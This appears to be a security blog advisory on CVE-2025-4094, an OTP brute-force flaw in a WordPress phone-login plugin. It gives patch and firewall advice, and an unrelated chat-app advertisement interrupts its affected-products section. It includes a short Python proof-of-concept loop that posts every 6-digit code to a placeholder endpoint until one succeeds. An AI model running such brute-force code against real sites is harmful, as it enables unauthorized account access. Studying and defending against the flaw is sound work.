Overview
The recent discovery of a severe vulnerability in the DIGITS: WordPress Mobile Number Signup and Login plugin has sent shockwaves through the cybersecurity community. This blog post will explore all aspects of this vulnerability, officially identified as CVE-2025-4094, which impacts any website using versions of the plugin before 8.4.6.1. Given the widespread use of WordPress and this specific plugin, this vulnerability presents a significant risk to a large number of websites, potentially leaving them at the mercy of malicious actors.
Vulnerability Summary
CVE ID: CVE-2025-4094
Severity: Critical (CVSS score: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
DIGITS: WordPress Mobile Number Signup and Login plugin | Versions before 8.4.6.1
How the Exploit Works
The vulnerability stems from the lack of rate limiting on OTP (One-Time Password) validation attempts in the affected WordPress plugin. Without a rate limit, attackers can continuously send OTP validation attempts, effectively enabling them to brute force the OTP. Once the OTP is successfully brute-forced, an attacker can bypass authentication controls and gain unauthorized access to the system, potentially leading to system compromise or data leakage.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. This is a simple Python script that sends continuous OTP validation attempts:
import requests
target_url = 'http://targetsite.com/otp_validation'
# Assume the OTP is a 6-digit number
for otp in range(100000, 999999):
payload = {'otp': str(otp)}
response = requests.post(target_url, data=payload)
if 'success' in response.text:
print('OTP Cracked: ' + str(otp))
break
In this hypothetical scenario, the script is sending OTP validation requests with all possible 6-digit combinations until a successful validation response is received, indicating that the OTP has been cracked.
Mitigation Guidance
The vendor has released a patch to address this vulnerability, and it is highly recommended to update the DIGITS: WordPress Mobile Number Signup and Login plugin to version 8.4.6.1 or later. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation by detecting and blocking brute force attempts. However, this should not replace the need to update the plugin as the ultimate solution to this vulnerability.